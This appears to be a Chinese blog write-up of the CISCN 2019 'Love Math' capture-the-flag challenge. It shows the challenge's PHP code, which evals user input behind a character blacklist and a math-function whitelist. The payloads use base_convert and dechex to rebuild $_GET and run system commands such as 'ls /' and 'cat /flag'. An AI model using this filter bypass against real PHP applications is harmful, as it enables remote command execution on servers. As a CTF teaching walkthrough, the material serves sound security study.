[CISCN 2019 初赛]Love Math

这篇博客探讨了一段PHP代码中的安全漏洞,该代码使用了eval函数执行用户输入,并设定了特定的字符和函数黑白名单。作者展示了如何通过构造变量和利用base_convert及dechex函数来绕过限制,实现系统命令的执行,如读取flag。文章强调了在编程中安全处理用户输入的重要性,并提示开发者避免直接使用eval函数。
摘要由CSDN通过智能技术生成
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这里思路是利用最下面的eval去执行读取flag的命令,但是payload长度不能超过80,且只能用白名单内的函数,不能使用黑名单内的字符

读取flag,我们要system('ls /'),正常是无法构造的,所以需要借用变量构造

即$_GET['test']&test=system('ls /'),又因为[]和引号被过滤了所以用两个变量构造

即$_GET{cos}($_GET{exp})......

GET我们用白名单内的base_convert绕过

base_convert(37907361743,10,36)相当于hex2bin,可以将16进制转换为字符串

dechex把GET的10进制转换为16进制

 ?c=$_GET{cos}($_GET{exp})&cos=system&exp=ls /

所以payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{exp})&cos=system&exp=ls /

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{exp})&cos=system&exp=cat /flag

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值